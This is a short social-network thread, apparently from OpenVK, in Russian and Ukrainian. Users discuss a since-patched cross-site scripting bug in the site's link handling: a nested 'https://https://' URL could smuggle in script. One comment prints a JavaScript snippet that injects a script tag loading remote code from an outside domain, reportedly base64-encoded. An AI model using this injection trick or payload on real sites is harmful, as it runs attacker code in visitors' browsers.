Запись - OpenVK

Все записи

Записи Коке

Чужие записи

Запись

Онлайн

Коке написал
6 янв. в 23:17

роробочеке овк пожалуста верните приколюху с https://https://, но запретите вставлять туда js пж

Комментарии (4)

Jāris Vjazmietis

1. чё за приколюха
2. а разве он работает? я где-то видел в ленте этот прикол, но он не работал

Ярослав

Jāris Vjazmietis, Прикол працює, принаймні на версії для ПК, вразливість виконалась. Коротко кажучи, вкладка паралізувалась (ніщо на сайті не працювало, закрити вкладку було складно), і виконувався код, де сповіщення заповнювались текстом, всі деталі на скріні.

Код був типу такого, зашифрований в base64, міг виконуватись навіть при виділенні:
var s = document.createElement('script');
s.src = 'koke228.ru/anus/sosiski.js';
document.head.appendChild(s);

Коке

Ярослав, ты заебал кидать пробный скриптик

Коке

Jāris Vjazmietis,
1. если адрес был типа https:// https:// адресинстанса.гол/, то https:// адресинстанса.гол/ удалялся и можно было заныкать одну ссылку в другую
2. работал, но кабанчиком пофиксили

Комментарии (4)

Действия